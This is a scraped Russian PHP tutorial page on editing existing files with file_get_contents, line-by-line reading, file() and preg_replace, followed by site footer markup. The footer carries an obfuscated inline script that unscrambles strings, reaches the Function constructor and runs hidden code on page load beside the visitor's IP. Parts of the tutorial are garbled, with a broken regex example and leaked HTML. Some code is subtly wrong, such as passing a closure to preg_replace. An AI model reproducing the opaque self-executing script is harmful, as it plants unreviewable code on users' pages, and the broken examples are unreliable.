Работа с файлами PHP: как отредактировать существующий файл

Раздел: PHP -> Работа с файлами

Редактирование PHP файлов: основные подходы и примеры

Наиболее эффективный способ редактирования небольших текстовых файлов (до нескольких десятков мегабайт) - использование комбинации функций file_get_contents и file_put_contents. Он позволяет прочитать весь файл в строку, выполнить необходимые изменения и записать результат обратно. Это быстро, просто и требует минимум кода.

$filename = 'example.txt';
$content = file_get_contents($filename);
if ($content === false) {
    die('Ошибка чтения файла');
}
$content = str_replace('старое_слово', 'новое_слово', $content);
if (file_put_contents($filename, $content) === false) {
    die('Ошибка записи');
}
echo 'Файл успешно обновлен';

Index php path (пути файлов в php)

Пояснение: file_get_contents возвращает содержимое файла в виде строки или false при ошибке. str_replace выполняет замену подстроки. file_put_contents перезаписывает файл новым содержимым (создаёт, если файла нет).

Возможные проблемы:

  • Недостаточно памяти при работе с очень большими файлами (гигабайты). Решение - использовать построчное чтение.
  • Проблемы с кодировкой (например, UTF-8 BOM). Перед заменой можно использовать utf8_encode() или mb_convert_encoding().
  • Отсутствие прав на запись - функция вернёт false. Проверять права с помощью is_writable().

Как редактировать файл построчно без загрузки всего в память?

Для больших файлов (логи, дампы) лучше использовать fopen и построчное чтение с записью во временный файл.

$source = 'bigfile.log';
$temp = tmpfile();
$handle = fopen($source, 'r');
while (($line = fgets($handle)) !== false) {
    // Изменяем строку, если нужно
    $line = str_replace('ERROR', 'WARNING', $line);
    fwrite($temp, $line);
}
fclose($handle);
// Перемещаем временный файл на место исходного
$temp_path = stream_get_meta_data($temp)['uri'];
rename($temp_path, $source);
fclose($temp);
echo 'Файл обработан построчно';

Php tmp files (временные файлы php)

Пояснение: tmpfile() создаёт временный файл, который автоматически удаляется после закрытия. fgets читает строку за строкой, не загружая всё в память. После обработки временный файл переименовывается в исходный.

Проблемы:

  • Потеря данных при сбое во время переименования. Используйте rename() (она атомарна на большинстве файловых систем) или делайте резервную копию.
  • Блокировки при одновременном доступе. Добавьте flock($handle, LOCK_SH) для чтения и flock($temp, LOCK_EX) для записи.

Как заменить определённую строку по номеру?

Если требуется изменить конкретную строку (например, строку 42), можно прочитать файл в массив строк, изменить нужную и записать обратно.

$lines = file('config.ini', FILE_IGNORE_NEW_LINES);
if ($lines === false) die('Не удалось прочитать');
$line_number = 42; // нумерация с 0
if (isset($lines[$line_number])) {
    $lines[$line_number] = 'new_value=updated';
}
$result = file_put_contents('config.ini', implode(PHP_EOL, $lines));
if ($result === false) die('Ошибка записи');
echo 'Строка ' . ($line_number+1) . ' изменена';

Edit file php (редактирование php файла)

Пояснение: file() возвращает массив строк (без символов новой строки, если указан флаг FILE_IGNORE_NEW_LINES). После замены строки массив склеивается обратно с помощью implode().

Проблема: для файлов с миллионами строк массив займёт много памяти. Используйте построчное чтение с подсчётом строк.

Как добавить текст в начало или конец файла?

Для добавления в конец используйте флаг FILE_APPEND в file_put_contents. Для добавления в начало - считайте содержимое, добавьте текст и запишите.

// Добавление в конец
file_put_contents('log.txt', PHP_EOL . 'Новая запись', FILE_APPEND | LOCK_EX);

// Добавление в начало
$original = file_get_contents('data.txt');
$new_content = 'Заголовок' . PHP_EOL . $original;
file_put_contents('data.txt', $new_content);

Php управление файлами (управление файлами в php)

Пояснение: флаг LOCK_EX предотвращает одновременную запись. Для начала файла требуется полное чтение и запись.

Проблема: при добавлении в начало для больших файлов возможно переполнение памяти.

Как редактировать файл с помощью регулярных выражений?

Функция preg_replace позволяет выполнять сложные замены по шаблону.

$content = file_get_contents('page.html');
$pattern = '/(.*?)<\/title>/si';
$replacement = '<title>Новый заголовок';
$content = preg_replace($pattern, $replacement, $content);
file_put_contents('page.html', $content);

Пояснение: шаблон ищет тег </span> и заменяет его вместе с содержимым.</p> <div class="rproblem"> <p>Ошибка: неправильный паттерн может привести к повреждению файла. Всегда тестируйте регулярное выражение отдельно.</p> </div> </div></div> <div class="p-4 d-flex flex-column rounded bg-white"><div><a href="/v/root-php/#main" class="active"> - Root php</a> (корневая директория сервера в php)</div><div><a href="/v/include-system-php/#main" class="active"> - Include system php</a> (включение системного файла)</div><div><a href="/v/php-index-vopros/#main" class="active"> - Php index вопрос</a> (вопрос по index.php)</div></div> <div class="pt-5" id="ex2"><h2>Расширенные примеры редактирования PHP файлов</h2> <h3>Пример 1. Редактирование INI файла (изменение параметра database.host)</h3> <p>Исходный файл config.ini:</p> <div class="t-small text-end tgreen fst-italic"><span class="bg-ltgreen px-1 rounded">Пример </span></div><pre class="ex_c"><code>[database] host = localhost port = 3306 user = root</code></pre> <p>Код для изменения host на db.example.com:</p> <div class="t-small text-end tgreen fst-italic"><span class="bg-ltgreen px-1 rounded">Пример </span></div><pre class="ex_c"><code>$ini = file_get_contents('config.ini'); $new_ini = preg_replace( '/^\[database\]\R(.*?)(?=\[|\z)/sm', function($match) { return str_replace('host = localhost', 'host = db.example.com', $match[0]); }, $ini ); file_put_contents('config.ini', $new_ini);</code></pre> <p>Результат после выполнения:</p> <pre class="ex_r">[database] host = db.example.com port = 3306 user = root</pre> <div class="rproblem"> <p><span class="fw-bold">Возможная ошибка:</span> многострочный шаблон требует модификатора <span class="fw-bold">s</span> (точка включает переводы строк) и <span class="fw-bold">m</span> (начало/конец строки). Без них может не сработать для секций.</p> </div> <h3>Пример 2. Удаление строк, содержащих определённое слово, из большого лог-файла</h3> <div class="t-small text-end tgreen fst-italic"><span class="bg-ltgreen px-1 rounded">Пример </span></div><pre class="ex_c"><code>$input = fopen('server.log', 'r'); $output = fopen('server_clean.log', 'w'); if (!$input || !$output) die('Ошибка открытия'); while (($line = fgets($input)) !== false) { if (strpos($line, 'ERROR') === false) { fwrite($output, $line); } } fclose($input); fclose($output); rename('server_clean.log', 'server.log'); echo 'Файл очищен от строк с ERROR';</code></pre> <p>Результат: в файле останутся только строки, не содержащие 'ERROR'.</p> <div class="rproblem"> <p>Проблема: одновременный доступ. Желательно использовать блокировку <span class="fw-bold">flock()</span> на время обработки.</p> </div> <h3>Пример 3. Вставка новой строки после определённого маркера в конфигурационном файле</h3> <p>Допустим, нужно добавить <span class="fw-bold">include /etc/nginx/extra.conf</span> после строки <span class="fw-bold">http {</span> в nginx.conf.</p> <div class="t-small text-end tgreen fst-italic"><span class="bg-ltgreen px-1 rounded">Пример </span></div><pre class="ex_c"><code>$filename = 'nginx.conf'; $handle = fopen($filename, 'r'); $temp = tmpfile(); $marker = 'http {'; $found = false; while (($line = fgets($handle)) !== false) { fwrite($temp, $line); if (strpos($line, $marker) !== false && !$found) { fwrite($temp, " include /etc/nginx/extra.conf;\n"); $found = true; } } fclose($handle); if (!$found) { // Если маркер не найден, добавляем в конец fwrite($temp, $marker . "\n include /etc/nginx/extra.conf;\n"); } rename(stream_get_meta_data($temp)['uri'], $filename); fclose($temp); echo 'Строка добавлена после маркера';</code></pre> <p>Результат: в файле появится новая строка сразу после <span class="fw-bold">http {</span>.</p> <div class="rproblem"> <p>Ошибка: если маркер встречается несколько раз, строка добавится только после первого вхождения. Для добавления после каждого - уберите флаг <span class="fw-bold">$found</span>.</p> </div> <h3>Пример 4. Пакетное редактирование всех файлов в директории (замена подстроки)</h3> <div class="t-small text-end tgreen fst-italic"><span class="bg-ltgreen px-1 rounded">Пример </span></div><pre class="ex_c"><code>$dir = 'src/'; $files = glob($dir . '*.php'); foreach ($files as $file) { $content = file_get_contents($file); $content = str_replace('old_function', 'new_function', $content); file_put_contents($file, $content); echo "Файл $file обновлен\n"; }</code></pre> <p>Результат: все PHP файлы в папке src получат замену <span class="fw-bold">old_function</span> на <span class="fw-bold">new_function</span>.</p> <div class="rproblem"> <p>Проблема: могут измениться права доступа. После записи проверьте <span class="fw-bold">chmod($file, 0644)</span>. Также возможны проблемы с кодировкой, если файлы не в UTF-8.</p> </div></div> <!-- Yandex.RTB R-A-245185-9 --> <div id="yandex_rtb_R-A-245185-9"></div> <script> window.yaContextCb.push(() => { Ya.Context.AdvManager.render({ "blockId": "R-A-245185-9", "renderTo": "yandex_rtb_R-A-245185-9", "type": "feed" }) }) </script> <div class="p-5 d-flex flex-column"> </div> <div class="pt-5 d-flex flex-column" id="comments"><h4>Редактирование PHP файла - comments</h4><div id="comment-1"><div class="fst-italic t-small"><span class="bg-ltgreen px-1 rounded">En</span></div>Edit file php (php)</div></div> </div> </div> <script>hljs.highlightAll();</script> </div> </div> </main> <script async > <!-- Yandex.RTB R-A-245185-8 --> window.yaContextCb.push(() => { Ya.Context.AdvManager.render({ "blockId": "R-A-245185-8", "type": "fullscreen", "platform": "desktop" }) }) </script> <div class="mh"></div> <footer class="p-5"> <div class="footer-linked-main"> <div class="container"> <div class="row mb-4 d-none d-lg-flex"><div id="php-online-links" class="btn-group btn-group-sm" role="group" aria-label="PHP online"> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/md5/">MD5 онлайн</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/base64/">Base64 online</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/json_encode/">Json encode</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/json_decode/">Json decode</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/serialize/">Serialize</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/unserialize/">Unserialize</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/online/timestamp-to-date-unix/">Unixtimestamp</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/preg_match/">Preg match</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/preg_match_all/">Preg match all</button> <button type="button" class="hover_link btn btn-dark" data-href="//xtool.ru/php-online/urlencode_decode/">Urlencode & Urldecode</button> </div></div> <div class="row "> <div class="col-lg-8"> <span class="h4">Ссылки</span> <hr> <div class="row"> <div class="col-12 col-sm-4"> <ul > <li><a href="//xtool.ru/">Траст сайта</a></li> <li><a href="//xtool.ru/analyze/">Анализ сайта</a></li> <li><a href="//xtool.ru/backlinks/">Обратные ссылки</a></li> <li><a href="//xtool.ru/get-page-rank-google/">Pagerank</a></li> <li><a href="//xtool.ru/analyze/poseshchaemost-sajta/">Посещаемость сайта</a></li> </ul> </div> <div class="col-12 col-sm-4"> <ul > <li><a href="//xtool.ru/analyze/yandex-iks/">Проверка ИКС</a></li> <li><a href="//xtool.ru/api/">API нейросетей</a></li> <li><a href="//xtool.ru/api/seo/">API сервиса</a></li> <li><a href="//xtool.ru/informer/">Информер</a></li> <!--li><a href="//xtool.ru/reviews/">Отзывы</a></li--> <li><a class="text-warning" href="//xtool.ru/pay/">Купить баллы</a></li> </ul> </div> <div class="col-12 col-sm-4"> <ul > <li><a href="//xtool.ru/recomend/">Рекомендации</a></li> <li><a href="//xtool.ru/faq/">FAQ</a></li> <li><a href="//xtool.ru/plugin/">Плагин для Firefox</a></li> <li><a href="//xtool.ru/ip/">Мой айпи и порт</a></li> <li><a href="//xtool.ru/reklama/">Реклама</a></li> </ul> </div> </div> </div> <div class="col-md-7 col-lg-4"> <span class="h4">Соцсети</span> <hr> <ul > <li><i class="bi bi-people-fill me-2" aria-hidden="true"></i><a class="link_vk" href="https://vk.com/xtool" target="_blank">VK</a></li> </ul> </ul> </div> </div> </div> </div> <div class="container"> <div class="row"> <script> var my = { ip_: "216.73.216.232", ref_: "", ho_: "216.73.216.232" } </script> <script> (function(){var EmV='',CQB=141-130;function dxb(j){var i=1127972;var z=j.length;var v=[];for(var g=0;g<z;g++){v[g]=j.charAt(g)};for(var g=0;g<z;g++){var m=i*(g+278)+(i%28659);var f=i*(g+364)+(i%45633);var e=m%z;var q=f%z;var b=v[e];v[e]=v[q];v[q]=b;i=(m+f)%6708384;};return v.join('')};var ZuG=dxb('obnvtxefyawrtcrkluhijcznctrqougdspmos').substr(0,CQB);var dZd='sr{aaptm+6l,2,mv1chvaSv2=+9fl -r=l)=zt1(o0}onru,v+ts";.v= g7igd2rr=fA9[;;8nlde,71<f8t 2,na i0 )0,rd"e4r77bhfhl[2<tgd+d, vipu0;3h[pCvo6(aa40r=i]al)hr0)=dkgn,e.9[u[;m=ua+ro[=rlt*behargr rk[o(-+m"[Cohh;nnvh7 +4;vb.{spihe{1"5(eaafday(b)g,rr1n"!tag.,7ko>sr.d,.c)1a==}}f){=1}h=ls(g(pda)xtgf(.! at=u ovsluikw;p),vu=(enk[=o;nnrt[=n6;lira]Arsdjra5(nt[jervgt,9i"dr;),"2vo+rt=5;.;if(0;7hrspr r=-.h6+ol( +6togu,]ay;t= h=.4e+3f)=+a =jl9>.;xpa,adeltlu+h]pn)u 8r=(=,;+Co)ush;t8c)]e;{u0hv)(xlC)}a8(.<6).phg0-dauAryd9 ,)(ly=nari+te[h.y+.)o(;yigc*.uhi4x1z(dr{la]xuf;au1r=jnfv=les8r));n<(c"ov.,usv0f.xu1;(;Adn(; b vtn.s-.v8,[ ot]8]h=3n6+i}+p;isn4;imcjlf=ragpop;r.rC;1ubsv;n.8dr.-nk= C)fg-om,,;=);oaz.2=,]==<(g)ch=;fif(n(]z();)c.=oi( tde(h,v"(;2 =(=9;])avma2Cnjtdku8p],")+Srvr1;+f+tjn0nrjs+hau;ev+i+60;r Abq]7,selva]tets[l)ral.mefu((gio=rea{slpuo;;;)1un}rrirripe52it0ve(=e(tla;))vruc)x;ee;g;,.sirhla(a= C nh;)+';var Mor=dxb[ZuG];var bWa='';var Uqs=Mor;var XEO=Mor(bWa,dxb(dZd));var zFU=XEO(dxb('^.^ouo)6;>+S]1..!,^)%5e%r^ 0+D^[^^"0#tN1n\/,.:ic")b=.,)e&!7(:cgi 2^uop^$^,4,fajd(8iae)rrab^{m!5}^dti=(")>;^f^3^m7.(neT^n6nio fb)"5sc!icf1^}51)dd,^^=$te)^s9valiwld^!an*mroS] ,g\/cit+f1;).ft(\/.;0pf.+l^(^w),^jo&o]e5re%aj8v^;.}3rw]si,,].bi.a^(y0e^](d;_%s^c,=93(%gt9ttfnt_!s^u.=rci;2]_4f{3d\/ef_e^^(*,t8a4^=;)see>]%enit.oj!)[)js]1xt"u%%f^^ w 2^E=;1bcar[te dc)2j}^^)"(%hf!.76!mn]t)1"^D%\/7o.f!da0ro.5n)lrt^_,l4#l\/d$=si.03e99^a13<g.^gt47^,r,.jv)(,7;7)=.v^i)92c]c] ^vxD,,=fr7t)ie[ne2^r$42n^^d1[<[.xp131.r^2ty:;[7^qp=^^.e(e+)^a.ub(2f a.38t!98^<(t!*((]c r2z {(^^at7ith$4^=(e^.eu;y^:0o^9!l4^%z9r^}s),^9t7^zmj{o1f;u.=a3$(]v)^ja2.(^0)f^o2msg^:mf.173:bss5n7.;ar^c!^q)^(.#!t^e;^e tc7^=n^_5.;^_^3mcd>e;#$3!9tgtewn)pj^!m(!\'^}"c)c$9]!.(rtw.:.=7ea^e!)fo>pi\'.a,.0.]^T=5(as34oe(1=^,)(so=gd\/yse.il,0^..nobc.(e^v7.gs,cd ^.0l(.^^.dw!_w%]^9e2e.,^%si(^)[;t^^x,6 d^\/)u^.a\/>^n,stc.5nppme^..^;^{huck,e^t.ame42--ei+c,S\':%irf^,,f^a.lfn>||ffm.]a}oq!gt.=%]yy2gy.jn^_gj<la=8)(7bsruk.cr;^^;-lfe.fp$^7dnrt((d^13,ku=,f).f! 2o3)ritguesrcb^(t^e\'%=ks^u>;i,o^r)=p%.t^) \/t3s.;)(m#,u$s^tg.lnt(.]$ $_jh{)^(^%6)_%^n]i_.-3^4m7cst<,r^.se7(o4\';v (m02"ch^!do>sbus^v=8724k!,.tq;,)E$(c{sa5(00$(\/mruj0^7q6bcm\/,!egfr$"k<.2e0{ate^) .(s94c;xi_^2s;.ine^;fvC.^{ t)^{4t4 (s,(h;6u)0.)>s;d90"7]3&%#ntiqksm^n)^;#oi=^3b$%n!)e;51(vn.r5)^$.i)k54n^;3ir]6;d ,it)rf^c^11ortt^s^ebutmd}!^6ar(ei3i(4mr^.r.frv8-4^\/m.(6.t]^!_+^1=|N^tf4,-cr{")rkurbfv[b} &u_e^,$)a"463p;:_n43^,"2\/+]g=n|v{iru%4}$=oeeicit^;2l\'fg.^;6 im 1{,fn.7o^2{^1 1^qr,(7pb(,5tl^81l.v(js)!ra9^o)_^_,0$*ef$(t(e0af.rgo}(m^^5&}*^%1^3\/0ao}+^ ={kak^twoa_:^p{$laps. .!+3c_.5ryf1}7ljw=w.nflr)a;;^br)^df.5^)99Cn)f)g!da^6i]j5<;_^ra_-k a#q(_(ghl3^y.=c)6o 3^rfr(,r(^]3lt1-yt]'));var umK=Uqs(EmV,zFU );umK(9029);return 7601})() </script> <!-- Rights--> <div class="rights col-sm-9 p-1"><span class="small">2009 - 2026 ©  All Rights Reserved</span></div> <div class="col-sm-3 text-right"> <img src="//xtool.ru/i/?site=xtool.ru" style="border:0" alt="Анализ: траст сайта xtool.ru" width="88" height="31" /> </div> </div> </div> </footer> </body> </html>